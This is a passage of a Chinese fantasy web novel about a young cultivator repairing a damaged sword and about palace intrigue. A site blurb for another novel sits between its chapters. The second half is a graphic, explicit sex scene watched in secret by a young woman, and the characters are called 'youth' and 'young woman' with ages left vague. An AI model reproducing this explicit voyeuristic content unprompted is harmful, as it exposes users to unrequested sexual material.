  洛芸茵被动地跟着齐开阳,阴素凝凑近小声道:「他大方得很,你还害什么羞?喂,齐中郎将,本宫命你好生帮助洛姑娘,若敢半分怠慢,本宫决不轻饶。」
  「嘿嘿,遵娘娘懿旨。」齐开阳像模像样地做了个领旨的礼仪,将洛芸茵都逗笑了。
  这一笑,就轻松了许多。两人刚欲离开,又被阴素凝唤住:「我这里有一件【扫元衣】,可隔绝真元。你们要运功什么的方便些,别把朝臣吓着了给我惹麻烦。洛姑娘,给。」
  洛芸茵接过,心中感念地点点头。出了寝宫忐忑道:「你真的肯帮我啊?」
  「帮啊,你不是帮了霜绫好大的忙,我当然帮你。」齐开阳眨眨眼,嬉皮笑脸道:「不过你都没说要我帮什么,要是我没那能耐……算了,反正我是赖皮狗,帮不上耍赖皮就好了。」
  「讨厌。」洛芸茵嫣然一笑,道:「不管怎么样,多谢你有这份心,我以后不叫你赖皮狗了。」
  「哎哟,那要多谢洛姑娘了,可让我欠了个天大的人情。如若能帮上你,就算扯平了,咱们两不相欠。」
  「好啦,谁要你说这些讨巧的话。」洛芸茵胸臆一瞬间开阔,步伐轻盈当先领路。
  齐开阳跟在少女身后,笑意渐渐消失,亦显出惴惴不安的神色。除了确实对洛芸茵承情之外,还有一片私心——碎玉璇玑曾给他熟悉的感觉。出山之后的林林总总,同样让他察觉到许多不同。从前以为自己是个无忧无虑的山间少年,漫无目的地来到尘世。可在洛城经历的一切完全颠覆了从前的认知。
  余真君面对诸天仙圣谈笑风生,随意指摘。恩师比余真君还要强!有这样的能耐,为何会委身于一座小山村里?齐开阳出生之前,天地之间到底发生了什么事?
  离山之前,獬豸曾言:若世人皆被蒙蔽了双目,你定要记得,用自己的心去寻找一线光明!齐开阳入世越久,越觉这句话回味无穷。那一段没有记载,仿佛缺失了,被消除了的历史,只能用自己的双眼去找寻。
  碎玉璇玑那奇妙的熟悉感,正是齐开阳看重的。——洛芸茵能求齐开阳帮忙的,只有关于这柄来路不明,又让他觉得熟悉的宝剑。
  来到侍女厢房,洛芸茵展开【扫元衣】。见这法宝打造得就像少女的长衫,可身穿,可祭起。这件半臂衫用金色罗线裁就,日光流转时隐现出折枝梅花纹,天青色素绸交领,艾绿缎子镶的缘边沿着襟口蜿蜒而下,像一缕清溪漫过石苔。
  款式居然甚是考究,洛芸茵多端详了几眼,似对这样的款式很是喜爱。
  她祭起法宝,果然真元被内外隔绝,道:「皇后娘娘的法宝还真是层出不穷。」
  「皇宫里不少好东西。」齐开阳寻个无人的床榻盘膝坐下,一副郑重其事的模样,道:「洛仙子,是什么事情?我尽力而为。」
  洛芸茵也上了塌盘膝坐好,皓腕一翻取出碎玉璇玑,双掌平举悬空托着宝剑,道:「你看,它的样子。」
  剑身布满裂痕,碎刃连接之处光芒黯淡得随时将熄灭。齐开阳心中一惊,与十万大山时初见这柄宝剑,现下的它就像风中残烛,奄奄一息的老人。齐开阳不与宝剑心神相连,亦能察觉这柄剑的灵力大减,随时都将溃散。
  「怎么会这样?」  「近来一共使用了两回。第一回,剑湖宫大阵围困的时候,它自行发动,毫光射住了大阵,当时并无什么异样。」洛芸茵一手轻抚着宝剑,道:「还有一次就是昨夜我运了一次功。它……它引导我的周天运转,然后就这样了。」
  齐开阳伸手缓缓靠近,离得近时,指尖上传来温暖的触觉,正是自己【八九玄功】残留的真元。他情知洛芸茵练功时必定出了什么意外,旁人的功法不好寻根究底,当即道:「我先试试看。」
  洛芸茵盘坐着弯腰做个谢礼,道:「大恩不言谢,小心些。」
  齐开阳抹了把冷汗。少女的身材发育极佳,一弯腰之下酥胸露出一抹雪痕,饱满微颤。自从尝过了情爱滋味,少年自然打开新的大门,再不能心如止水。
  洛芸茵伸手握住剑柄,以防不测。齐开阳双掌摊开金光,择取一缕谨慎地流向宝剑。两道金光分明同出一源,却不能完全融入,一股奇妙的剑意将齐开阳的本源玄功隔绝开来。
  「这……」齐开阳略微加力,忽觉宝剑中来了感应,剑中之灵勉力汲取着玄功金光,可被剑意隔绝大半,仅有一丝被宝剑汲取。忙了个把时辰,才将连接碎刃的金光略作稳定。虽仍黯淡至极,至少不再如残烛般忽明忽暗。
  「怪。」齐开阳收回功法,一头大汗。分明是同宗同源的功法,居然不能相融?他还试了试将连接碎刃的金光抽回,同样不得。
  「我知道了。」洛芸茵黯然摇头,道:「真元虽是你的,可经过剑心融合已有不同。你的玄功真元并不能直接为它所用,得经过剑心才行。」
  齐开阳无所保留地帮忙,洛芸茵遂将剑湖之底的剑心说了一遍。这事情修者皆知,倒不算秘密。齐开阳听得入迷,又知想让宝剑恢复如初,得自己进入剑湖之底运功才行。这怎么可能?【剑湖宗】的圣地,哪是自己一个人外人可以去的?
  何况洛芸茵现下万万不能回宗。
  「还是谢谢你啦。」洛芸茵见稳住了光华,好歹不会更糟,稍稍放下了心。
  「你的剑灵,好像伤得很重。」齐开阳犹豫片刻,还是说出心中所感。
  「我知道。」洛芸茵轻轻摇头,爱怜地抚摸着剑身,甚是不舍。
  「能不能和我说说这柄剑的来历?」
  「我自己都蒙在鼓里,二宗主说的话,我一句都不明白。这柄剑曾经一定威名赫赫,可是,为什么会落下恶名?」洛芸茵黯然片刻,又露出笑颜道:「你还想知道什么?只要不是宗门秘辛,我知无不言,聊表谢意。」
  「这可太好了!」齐开阳精神一振。修者的世界何其庞大,各家门派如林。
  柳霜绫与他说过许多,但洛芸茵出身更加高贵,身在顶级宗门,母亲还是三宗主,交往更加广阔,见识也比柳霜绫高。
  于是两人说说谈谈,齐开阳问得细,洛芸茵说得清。从前柳霜绫语焉不详的地方,洛芸茵大都能说得详细。少女口齿灵便,一些不流于世的笑料,丑事都能说得活灵活现。齐开阳一时细听,一时会心而笑。可惜问起中天池与焚血老怪,洛芸茵同样茫然,还奇道从未听说,齐开阳哪里听来的胡编野史。
  看看日头过了午,料想朝臣们已离去,齐开阳起身道:「洛姑娘,我担心宝剑留不住新汲取的真元。若有用得着你只管说,这点真元不算什么,我没损耗,你就不用不好意思。」
  「有点太麻烦你了,真不太好意思。」
  「那算得什么。我方才试了试,帮你的宝剑修补,我自己还能锻炼运控真元,我们算是两帮。要不然……」齐开阳想了想,道:「这样,你多和我说说世间的事情,我们就算扯平了。」
  「这样可以。」少女不落亏欠,这才安心。
  齐开阳看她又露笑颜,这才告辞离去。午后状元郎还要游街,做二哥的得给义弟牵马人前显贵。
  临出门时洛芸茵着实忍耐不住,问出始终在心头不敢问出的问题:「那个……
  昨天晚上,你和皇后娘娘在做什么?」
  真元无法汲取,想要让宝剑恢复如初,眼下只能依靠那股淡淡的腥气。洛芸茵不敢探听齐开阳的运功之法,只得支支吾吾旁敲侧击。
  「睡觉呀,还能做什么?」齐开阳立刻露出异样神色,含混不清地囫囵答道。
  「睡觉?」少女暗觉不信,可看齐开阳虽露一样,又不像骗人,只得将信将疑。她哪里想得到此睡非彼睡,睡觉倒不算骗人,齐开阳当然不是说谎的神色。
  接下来的两日,齐开阳日间陪同卓亦常,傍晚回宫。宝剑如他所料,丁点玄功金气只能支撑不到十二时辰之久,便又忽明忽暗。齐开阳回宫之后,便主动为宝剑续入真元。可惜的是,虽和剑中之灵有所感应,不知是剑灵因伤重陷入沉睡还是旁的原因,齐开阳无法与之沟通,洛芸茵同样唤之不回。碎玉璇玑的来历,还是一个谜。
  齐开阳不藏私,洛芸茵便倾囊相授修者界的林林总总,令少年眼界大开。
  「东天池这般霸道的么?」
  「一贯如此。」洛芸茵叹了口气,道:「自诩掌管天地,可惜蝇营狗苟之事做得多了。」
  「东天池在毒瘴之外,离世太远。若想要麻烦事少些,就得让其余门派互相争斗倾轧,互相损耗,这我明白。可他们这么做麻烦少了,其他人的麻烦可就大了。」
  「我娘就最不喜欢东天池的人,说他们唯利是图,仗势欺人,又到处煽风点火,引得纷争不断。这世间,越来越没有公理道义可言了。」
  「三家天池为什么不联起手来?」
  「你道说句话那么简单呢?」洛芸茵笑道:「一来各家都有各家的利益。东天池又不是傻瓜,总会给些小恩小惠。各家利益当前,想联手简直痴人说梦。二来……你不知道东天池的实力之强。」
  「比三家天池联手还要强?」
  「是!」洛芸茵深吸了一口气,道:「三家天池肯把家底全部掏出来拼光,或许能有一战之力。你以为就是这些天机高人之间打打杀杀?你见过遮天蔽日的战兽没有?见过如垂天之云的洪荒凶兽没有?见过一击就能杀死一名天机高人的机关没有?见过能毁天灭地的至宝群阵没有?」
  「咝~」齐开阳倒抽一口凉气,眨着眼说不出话来。
  「可是你说联手?掏光家底?东天池之外,就以我北天池实力最强。老二要挑战老大,除非赢了能做老大。否则,就算打翻了老大,自己元气大损成了老五老六,你猜哪个老二肯做这种傻事?」
  「我明白了。」
  「那天在洛城,我真的力有不逮。」洛芸茵甚是懊恼,香腮一鼓一鼓,又甚是不服,道:「你今后一定要小心些。东天池从来吃不得半点亏,此事不会善罢甘休。你家有圣尊压阵,但不是什么时候都能护得住你的!」
  「谁来怪你了?你身在剑湖宗,又不像我是个山村野人,可以肆意妄为。洛姑娘,多谢提点啦,我心中有数。」
  谈至巳时近半,齐开阳离去。洛芸茵看他依然昂着首,挺着胸,似乎并未被自己的言语吓住,更未因自己惹下的祸端而如丧家之犬般凄惶。似乎任何事情都吓不住他,任何事都会坦然面对,不由暗暗佩服。
  齐开阳亦觉洛芸茵全没那些尊贵子弟的娇骄之气。回想两人初见时虽是冲突,可洛芸茵心地善良在当时就可见一斑,处处留手,更不仗势欺人。比起那些自觉高高在上,随手就想像只蚂蚁一样捏死自己的宗门子弟,不知高到哪里去了。
  这几日两人相处下来,齐开阳心中对她好感更增。又想起少女的娘亲洛湘瑶,几回听她说起娘亲的教诲,为人正直,身具大义。能教出这样的好女儿,果然得这样的娘亲才是。可为何从洛芸茵的嘴里,从未听过他的父亲?能配得上洛湘瑶的人物,想当然不是泛泛之辈。
  三日游街之后过了一日大朝会,卓亦常受封五品水部员外郎。虽是文武双状元,朝中官职不多空缺,五品官员已是阴素凝能拿出的最大职位。大宋国近年来多水患,沿河百姓多受其苦。卓亦常殿试时曾献治理水患国策,颇得认可,水部员外郎之职相得益彰。且以阴素凝的意思,初入朝堂若太过显耀,多半招人非议。
  先以此职做出功绩,其后徐徐升迁重用,根基更加牢固。
  阴素凝为政之能,齐开阳一贯钦佩,更无异议。
  次日卓亦常便奉诏与诸重臣入宫见凤驾,齐开阳旁听,这才知晓大宋国水患已到了严重的程度。
  沿河两岸百姓流离失所,漕运堵塞导致只能漂泊小船。齐开阳想起自家初入朝第一天,就有大臣奏报水患。多月过去,又逢雨季,料想以大宋国的残破不堪,若天降豪雨,多半大水又要冲破河堤,延绵两岸。
  卓亦常官职不大,责任却是重大。一入朝就得重用,齐开阳暗思阴素凝心思缜密,安排妥当巧妙。与重臣们商议之间,阴素凝今日十分威严,话语里警示意味极重。治水责任重大,当下的大宋朝堂,做得多错得多,重臣们皆有躲闪之意。
  阴素凝顺水推舟,不知不觉就将重任与治水之权交到卓亦常手上。
  卓亦常文人风骨,浩然正气,为百姓谋福祉,当即义不容辞地受了。
  齐开阳毫不担心卓亦常胸中锦绣,见义弟将展骥足,大为欢喜。
  阴素凝用巧思安排义弟前程,这番安排必定花费了不少心血,才能不着痕迹,不落非议地让卓亦常一入朝即得重权重用,齐开阳心中感激。看皇后娘娘凤仪翩翩地端坐,井井有条地分布政事,更加满心爱慕心痒难搔,暗思今夜要怎生狠狠地奖励她一回。
  一番商议直到过了午,人人饥肠辘辘,这才散去。
  齐开阳领着卓亦常游览后宫。两兄弟并肩而行,卓亦常感叹道:「二哥,我真有些佩服皇后娘娘了。二哥没有看错。」
  「还早着呢,你且再慢慢看。」齐开阳压低了声音道:「要我说,皇帝的位子让娘娘来坐,大宋国何至于此?」
  卓亦常张了张嘴,默默无言。牝鸡司晨,这是哪来的道理?可是亲眼所见所感,这话实在没有错。以礼法念,大逆不道。以大宋国百姓为念,未尝不可。卓亦常饱读诗书,一时陷在局中,不知如何是好。
  「小弟留心观察了下柯太师,这人有问题。」
  「我就说吧。国之将亡,必有妖孽!三弟,你要欲辅佐皇后娘娘扶大厦之将倾,此獠不除,国无宁日!」
  「不单如此。我今日暗中观陛下气色,陛下亦有暗忧。」
  「你的猜想是……」
  「小弟猜想,柯太师在引诱陛下修习邪法!」
  石破天惊的一句,惊得齐开阳瞪大了眼。皇帝毕竟还是人君,有皇气人望护体,柯太师居然敢大逆不道向皇帝下手?
  「陛下有皇气护体,常人难侵。但若他自愿入局,护体之气又有何用?」卓亦常苦笑了一下,道:「小弟今日莫名其妙冒出来一个词,循循善诱。常言名师授徒,循循善诱。可这个诱字大半不是好词,柯太师诱惑陛下修习邪法以图长寿。
  陛下入了局,一旦尝到些甜头,谁能拉的回来?」
  「你的意思,让我私下和娘娘说?」
  「正是!为今之计,唯有娘娘能暂缓朝局糜烂。暂缓陛下堕入深渊,或有一线转机。」
  「我回去了就说……就禀报娘娘。」
  两兄弟在皇城门口分别,齐开阳快步返回延宁宫,将卓亦常所查说了一遍。
  「看来我所料不差。」阴素凝叹了口气,道:「浩然正气识人最明,三弟的话要听。」
  「你跟皇帝达成什么交易?现下可以说给我听了么?」形势变得有些严峻,迫在眉睫。齐开阳迫切想知道更多细节,以备后用。
  「我每三月会给他一枚洗髓丹,助他延寿十年,交换朝中权力,以及不许碰我。」阴素凝道:「可他越发不满足,你入朝之前就连连向我讨要丹丸。仙家丹丸,他是凡人之躯,又无修行的根骨,多服有害无益。」
  洗髓丹?齐开阳一皱眉头。这种丹丸炼制并不易,对修行人都有伐毛洗髓,提升修为的功用。阴素凝身为无欲仙宫弟子,这种丹丸配给亦不会太多,一月至多一粒。为何能匀出来给皇帝?其中定有什么缘故,阴素凝既还不肯说,齐开阳并不刨根问底。至于皇帝不能碰皇后,齐开阳同样不能【碰】,这里头还有古怪。
  「我始终不允。但目前大宋国状况糟糕,我为了掌权,那日去御书房,许他两月一粒。呵。」阴素凝冷笑一声,道:「他自觉服丹之后身轻体健,其实这样服法,增寿反而更短。我能怎么办?再让他胡闹下去,大宋国不出十年必亡。只得先答应他了。」
  「嗯。所以他仍不满足,听了柯太师的话,开始修行邪法!」
  阴素凝暗叹一声,伏在齐开阳怀里。怀中的娇躯微微颤抖,阴素凝纵有经天纬地之能,时间却越发不允许。若没有足够的时间,如何改天换地?
  「你今天给三弟的安排,我很满意。」短时无策,齐开阳怜她现下凄楚,轻声呢喃道。
  「哼。你那点心思,就想着要来欺负人家。」阴素凝不愿影响齐开阳的心情,自家郁郁时,同样想抒发胸臆,一时意动,抬起若水目嫣然一笑。
  「不是欺负,是要好好奖赏。」
  「坏人!」
  口中骂着,一双玉腿却有力地缠在情人腰上,圆润的豪乳在少年结实的胸膛上挤成两团奶饼。
  鸾帐轻摇,人影倒伏,烛火摇曳……
  洛芸茵搬运一周天醒来。自碎玉璇玑受损之后,她不敢再与宝剑同修。一醒来便急急翻出宝剑,见光华虽不闪烁,又黯淡了些。这几日齐开阳每日都会运转玄功,稳定宝剑上的金光,但日复一日,只是延缓金光黯淡,治标不治本。
  少女起身收好宝剑,正看见法囊中的【扫元衣】。她心情不快,正觉侍女厢房气闷,遂披上扫元衣出了门。
  春季的夜风冰凉,洛芸茵深吸一口,凉意穿过五脏六腑,微觉清爽了些。是夜月华如水,形单影只的春月照着孤寂的延宁宫,只两三只钻出土的小虫子不时发出几声鸣叫。洛芸茵信步而行,转过大半个延宁宫,前方正是皇后寝宫。
  「那股气息到底是什么?」
  洛芸茵近日见齐开阳徒劳无功,想找寻腥气来源的念头越来越强烈。每日在齐开阳与阴素凝的身上,以及皇后寝宫中,这股气息始终淡淡地存留。明知窥探人隐私不好,可当下那股念头竟无法克制。她并没有想要齐开阳无条件地帮忙,可若搞清楚的来源,才好盘算和人开口。就算是等价的交易!
  鬼使神差地,洛芸茵屏息凝神悄悄靠近。
  还是她入宫后第一次在深夜靠近寝宫。入夜后的寝宫有阵法护佑,洛芸茵精通阵法,不仅一眼就认出只是个防止人靠近的阵法,还是无欲仙宫的手笔。
  「素素姑娘竟然是无欲仙宫的弟子?」洛芸茵暗暗心惊,脚下却不停步。扫元衣隔绝了真元,阵法全无感应,任她一穿而过。
  穿过了法阵,寝宫中一缕奇妙的声音便清晰地传入耳中。洛芸茵不知道这样旖旎的声音从何而发,却不由自主地满脸羞红。幸好她本就想着偷偷窥探,做了充足的准备,在扫灵衣之内又加了一层小法阵,不发出一丝一毫的气息。
  心口砰砰直跳,洛芸茵悄无声息地轩窗前探出小脑袋,吃惊得几乎叫出声来。
  只见鸾帐之内,齐开阳赤身露体,阴素凝霞帔凌乱。皇后娘娘妩媚万分地将兰舌吐出伸在男儿嘴里,任由他唧唧啾啾地吸吮品尝。凌乱的霞帔让阴素凝香肩裸出,大半只圆润的豪乳正落在大手之中被肆意地揉捏。少年吭哧着粗气,品尝香舌,把玩豪乳,结实的小腹因剧烈的喘息绷出块块遒劲的肌肉。皇后娘娘柔媚地嘤嘤喘息,俏脸上似笑非笑,似啼非啼……
  从未见过想过这样的事情,少女本能地大羞想要离去,可那股苦苦找寻的腥气此刻在寝宫中如此浓烈。洛芸茵移不开脚步,定神循着腥气的脉络探查来源,目光正落在少年胯间黑毛丛中。一根狰狞的肉枪昂扬指天,阴素凝的小手握着这根毒龙般可怖的东西,又爱又怜地抚弄……

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,一个普通的大三学生,开局被甩,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开····· ...

风雨无阻 / 发表于: 2025/08/22 09:56:10

第十章 帘窥壁听
  细长的兰舌被吸吮得不停蠕动着,皇后的呻吟声又淫又媚。洛芸茵见过她身着凤冠霞帔威严的模样,见过她私底下无拘的随意,但从没有想过阴素凝会有这样的一面。
  凌乱的衣衫,让她傲人的身材若隐若现,玲珑的曲线在半裸之间更增魅惑。这具娇躯此刻柔弱万分,落在少年怀里任他予取予求。可齐开阳无论看上去多么大力地揉捏,甚至让阴素凝轻唤声中带着明显的痛楚,仍丝毫不能掩盖娇吟声的欢愉与淫媚。
  两人互相抚慰着身体上的敏感。洛芸茵对情事尚懵懂,可看齐开阳的大手在豪乳与圆臀上来回抚摸,曼妙的完美曲线被破坏,直看得心惊胆跳。待大手抚上一双玉腿内侧,少女亦觉得自家双腿又麻又痒。她虽未经情事,对自家身体又怎会不知?往常练功时,沐浴时,何处异样,何处不敢多触碰,少女心知肚明。
  阴素凝款送兰舌许久,终于支撑不住收回柔脂嘤嘤娇喘。齐开阳虽始终吮得贪婪,此刻并不强求。怀中的皇后明明已娇弱不堪,仍任他予取予求,让男儿心满意足。阴素凝躺在他怀中喘息片刻,若水目放着光,荡着情,在情郎脸颊上深深一吻。
  两人窃窃私语不知说着什么,洛芸茵不敢运功与露出丝毫声息。只听阴素凝带着荡意吃吃而笑,齐开阳则一脸期待。洛芸茵见皇后娘娘轻轻荡笑了一声,樱唇顺着脸颊吻落,边吻边微吐兰舌,在男儿身体上留下一条水线,直落小腹之下。
  端庄大气的绝美容颜,凑在胯间那条粗黑昂扬的狰狞之物旁,洛芸茵看得心如擂鼓。她不知阴素凝要做些什么,只觉端丽的容颜与狰狞的丑物凑在一处,看着触目惊心,偏生又移不开目光。
  随着皇后凑得胯间越来越近,齐开阳小腹上的肌肉起起伏伏。香吻与兰舌的吻舔好像让男儿很是舒服受用,连连粗喘。阴素凝俯身而下时不再握着棒身,狰狞的肉枪似乎比初见时更粗,更大,还在连连有力地弹跳。
  这是男子身上的要害,任你是仙人还是凡夫,一旦这里受创便是重伤,洛芸茵朦朦胧胧只知这一点,可她深知自家胯间的纯洁。自幼时起,母亲就不断地告诫她,这里是女孩儿家最神秘,最宝贵的地方,除了母亲和你自己,谁都不能碰。
  说起来就算是母亲也已许久没有碰触过自家胯间。——上一回还是孩提,母亲帮自己沐浴之时。
  随着年纪渐渐长大,洛芸茵发现了这里的不同。沐浴时难免的触碰,练功时偶尔的摩擦,麻痒的感觉一天比一天明显。明明幼时并无异感,为何长大之后感觉越发明显?那麻痒如此地恼人,滋味却讨厌不起来。和自己胸前的两座山峦一样,随着岁月而耸起,异感越来越明显。
  男子的这里,是不是一样碰上去会又麻又痒?恼人又喜爱?
  情之一事,对任何少年男女都一样。不论想或不想,时光都会这件最奇妙的东西席卷而来。情动而欲起,洛芸茵本还不到时候。可今夜阴差阳错地目睹了一场亲昵,小腹之中仿佛多出一朵燃烧的火焰,烤在身上热出一股焦渴之意。
  阴素凝的撩拨催动少年的情欲,胯间肉枪勃胀到了极限,那股腥气让洛芸茵感应得更加真切。此时此刻,她不知是被眼前从未见过的场面所迷,还是执着于找寻出那股腥气的来源。
  阴素凝抬眼浅浅一笑,轻吐兰舌,舌尖顺着棒身从根舔到头。不仅是齐开阳看得目赤,连洛芸茵的目光都循着她的动作,半点移不开。
  粗黑的肉枪上留下一道晶亮的水迹,更令少女触目惊心的是,她这才发现肉枪头上明显膨起一圆,像一颗蘑菇。兰舌舔上圆菇时,齐开阳抖了抖,肉枪又跳了跳,却被兰舌卷压。齐开阳咝咝地抽着冷气,一身肌肉紧绷,不知是难过还是爽快。
  阴素凝长吐兰舌的样子十分淫荡,见刺激到了齐开阳又露出媚笑。男儿不停拱着腰,似欲求更多地刺激,可兰舌一挑,又循头而向根舔舐而下。往返数次,将整条肉枪都染得水津津的。
  “忍不得啦?”皇后娘娘像只温顺的绵羊伏在胯间,声音婉转低回,说不出的魅惑。
  “快!”沉声一喝,洛芸茵从未见过齐开阳霸道的一面,猜到不是他性格如此,而是急不可耐。
  “嘻嘻。”
  洛芸茵听阴素凝轻笑一声,瞪大了眼睛,见她吐兰舌一卷,将圆菇纳入口中就是一吸。双颊深陷,可见吸力的强劲,啵唧一声更是完美地诠释这一吸的吸力。齐开阳跪立而起,挺着胯间凶物,阴素凝乖顺地伏低,将圆菇深深吸吮了几口,竟将肉枪深深吞入。
  洛芸茵看得手足无措,仿佛随着肉枪的深入,自家喉间都被堵得透不过气来。少女还来不及去顾及为何有这样淫靡的事情,她还陷入在难以想象这般粗大之物能塞进嘴里的震惊之中。可视线里,看似柔弱的阴素凝已将整条肉枪吞入口中。皇后娘娘柔媚的哼声里带着不适,可眼角的笑意看起来又乐在其中。
  阴素凝让圆菇在喉间厮磨了一会,便不快不慢地吐出肉枪。两片唇瓣柔脂紧紧贴合着棒身,仿佛在用香唇描绘着肉枪的形状。尤其是绘至膨起的圆菇时,唇瓣随之被撑开一围,又逐渐闭合,直至一点点尖端。洛芸茵正看得又慌又入神,就见阴素凝反向又将肉枪吞入。
  这一吞快了许多,唇瓣依然贴合着棒身,竟将整条肉枪齐根吞入。皇后娘娘礡然大气的瑶鼻,舒圆的鼻翼全埋入少年胯间的黑草丛里。绝美与粗鲁,看得洛芸茵诚惶诚恐。阴素凝正来回大幅度地吞吐肉枪,尽根而没,再吐出直至枪尖一点。洛芸茵只觉口干舌燥,小嘴一抿一抿地干咽着,仿佛那根粗大的肉枪正在自己口中肆虐。
  此刻洛芸茵已彻底明白,这两人情投意合,正在做着相互动情之后最亲密的事情。在剑湖宗成长的十余年里,也曾偶尔撞见彼此有情的同门在小树林,在湖边月色之下搂搂抱抱的亲昵举动。少女虽还未遇见让自己无比心动的男子,去认识这份神秘的情感,可看齐开阳与阴素凝的模样,亦知他们正互相取悦,互相索取。
  她只是还不明白,为何两人之间的亲昵,会带着折磨的动作?
  阴素凝唧唧啾啾地吞吐肉枪,只要还有丁点枪身在嘴里,俏脸上始终双颊深陷。洛芸茵稍一想,便明白这样一来,嘴里的嫩肉就能把肉枪含得更紧。少女心弦一颤,偶而抚过自己胯间时,同样有越是用力,奇异的触觉就越是明显之感。
  “原是如此么……可是……好羞人呀……”洛芸茵越看越觉娇躯酥软,一双醉星目都微眯着,好像无力睁大。可呼吸却急促而有力,好像气息不够时的紧张。
  齐开阳双目发赤,低头看着皇后为自己吞吐肉龙。阴素凝技巧绝佳,吞吐之间香舌时而托举棒底,时而点挑沟壑,若不亲身体验,哪知其中妙处?近来两人每夜欢愉,齐开阳自不是初来新郑时的毛头小伙,可在这般技巧之下,仍觉难以自持。
  “想不想插人家嘴?”口中的肉棒发热,蒸得阴素凝俏脸绯红的同时,棒身还在弹跳。皇后娘娘了解齐开阳的每一丝情欲,自知现下该让他酣畅淋漓地射出阳精。——反正少年郎的精力无穷无尽,根本无需忍耐。
  齐开阳心中狂跳。情欲最浓之时如魂飞魄散,理智全失。两人有约,阴素凝的花径虽不得入其内,可娇躯上美妙处处,尽可让自己释放情欲。而其中最粗放,也最觉征服之感的,就是这一种。阴素凝技巧虽高,但齐开阳本钱雄厚,此事不易承受,两人之间偶有为之。更多都是齐开阳软语相求,才得享受一两回。
  今夜阴素凝居然主动提出,齐开阳忙连连点头。
  “这样不就是插嘴么?”洛芸茵心中奇怪,又见齐开阳分明是欣喜若狂之色,可目光中又有些怜惜与不舍。
  阴素凝媚然一笑,含着肉枪,唇瓣正卡在圆菇膨起的沟壑上一转身仰天躺下。这一转正在齐开阳敏感部位,唇瓣含着不仅力道恰好,连柔软度都十分契合。齐开阳身体打了几个寒颤,洛芸茵正看在眼里,忽有明悟:原来这里的感觉特别强烈?
  凌乱的秀发垂散于床沿,螓首也有近半落于床外而朝地面微弯。齐开阳屈跪,胯间像骑在皇后娘娘脸上,光是近乎于羞辱的姿势,就让少年激动不已。洛芸茵看他腰杆顺势前顶,肉枪斜斜地插入阴素凝口中,直至末柄。
  “皇后娘娘真会讨人欢心……嗯,不懂这些,也当不得皇后。”肉枪像一杆威力无穷的兵器,洛芸茵自幼修炼剑法,当然知道阴素凝仰首的角度绝佳,让肉枪可以顺利一插到底。可当男儿胯间丛林覆去阴素凝大半张俏脸,少女又觉自己喉间仿佛被堵住了,分明只是旁观,竟觉得嘴里十分不适。
  完美契合的姿势,齐开阳得以大逞欲望。肉棒缓缓一插到底,缓缓抽离,往返几回,待觉小嘴腔道更加柔软顺畅,想是阴素凝渐渐适应,抽插小嘴的动作就行加快。洛芸茵紧张地偷瞧,只见齐开阳起落得越来越快,想是肉枪在温软小嘴里快意无限,正竭力地索取。
  毫不留情地深插,小嘴里每一片嫩肉都像在涌动,包裹着棒身。不仅是感官上的刺激与舒爽,在小嘴里抽送更是精神上的极大享受,仿佛彻底征服了胯下的佳人,可以任由予取予求。且阴素凝不仅耐受力甚强,也喜欢这种感觉。若换了柳霜绫,齐开阳就舍不得这样肆虐。
  洛芸茵见两人的动作已全然奔放。齐开阳不管不顾地在阴素凝的小嘴里抽送着肉枪,皇后娘娘分明蹙着眉,呻吟声里带着痛苦与不适,可两颊始终吸得紧紧的,半点不肯放松。在洛芸茵看来,抽送之间叽叽咕咕的淫靡声大作,分明是阴素凝一样在求欢。
  那淫靡的水声,已分不清是齐开阳抽送得太过猛烈,还是阴素凝吸得太紧。
  抽送了百余回,齐开阳忽将肉枪拔出小嘴。阴素凝口中一空,立刻长吐兰舌直追,缠着圆菇紧绕打转,让尚未经历情事的洛芸茵,一下子明白了什么叫浪荡。
  兰舌卷绕,齐开阳胯间颤了颤,又是一插到底。阴素凝熟极而流地张开红唇,恰能容纳棒身一围,裹着肉枪让它顺畅又紧致地一插到底。
  洛芸茵无意识地干咽着,她已全忘了前来偷瞧的目的。两只小手捂着眼睛,脑中残留一点清明,分明觉得不该再看下去,可怎么都移不开脚步。就连捂着眼睛的纤手,指间都不自觉地露出数条缝隙,只又看了一眼,就再也移不开目光。
  追寻着肉枪的香舌像一朵兰花,奇艳无比。两瓣红唇像燃烧的火苗,将肉枪吞没。齐开阳抽送数百回,终于抵受不住快意。腰后的肌肉绷得死死的,仿佛全部力量都集聚到棒身上,只一股脑地寻求快感。阴素凝咿咿嘤嘤,如泣如诉,可小嘴唧唧啵啵,片刻舍不得歇息。
  终于齐开阳低吼着,肉枪狂跳。阴素凝咿唔一声,急急忙忙双手握着棒身抚摸,小嘴与香舌对着圆菇又吸又舔。两人在这一刻全忘了一切,什么技巧,互相取悦,都抛在脑后,只剩下原始的本能。
  洛芸茵不知发生了什么,却隐约觉得有什么可怕的事情要发生。电光火石的一刹那,齐开阳嘶吼,阴素凝娇弱,舌尖卷绕的圆菇尖端喷薄而出一股浓白的液体。
  白浆激射,仿佛仙家运起功法射出的水柱。柔弱的兰舌那堪抵御?激流一下子顺喉而入。腥浓的气息,狂躁的嘶吼,娇弱的呻吟,这一刻仿佛时间都已停止……
  激射终于从喷薄停息,洛芸茵第一个清醒过来。那股腥浓的气息在此刻如此清晰,少女心头狂跳,终于明白那股腥气的来源。
  “怎么会是……”少女心中狂跳。自从碎玉璇玑引导她逆转真元,这股气息始终心心念念,再熟悉不过,绝不会分辨不出。少年喷薄而出的阳精,正是腥气的源头。那奇怪的味道,精纯的阳元,比起八九玄功同根同源又不相同。
  洛芸茵心乱如麻,这股味道为何会在自己嘴里?她无意识地咂了咂嘴,喉间仿佛被火烧过一样干涩。蓦地,她又发觉了更可怕的事情。
  引以为傲的乳峰上,两枚凸点此刻硬生生地翘立着,胯间腿心之中湿意如潮。
  “怎么会这样……”洛芸茵发觉了自己身体奇妙的变化,正不知为何,不知如何是好,就见齐开阳啵地一声从阴素凝口中抽出肉枪。
  肉枪垂了些,软了些,小了些,像头垂头丧气的虫子,全没了先前狰狞如龙的威风。阴素凝含羞带嗔地白了少年一眼,摆出个五心向天式,胯间正对着窗外的洛芸茵。
  玉胯湿淋淋的,仿佛被水淋过,女儿家身上最幽禁的地方还在流出涓流般的汁液。两只豪乳即使躺着依然傲立,雪峰顶上,两颗红珠胀起。洛芸茵娇躯跟着颤了颤,床上的阴素凝,和窗外的自己,身体反应竟如此相似。此刻脑中各路杂念纷沓而来,洛芸茵冰雪聪明,岂有不知发生了什么……
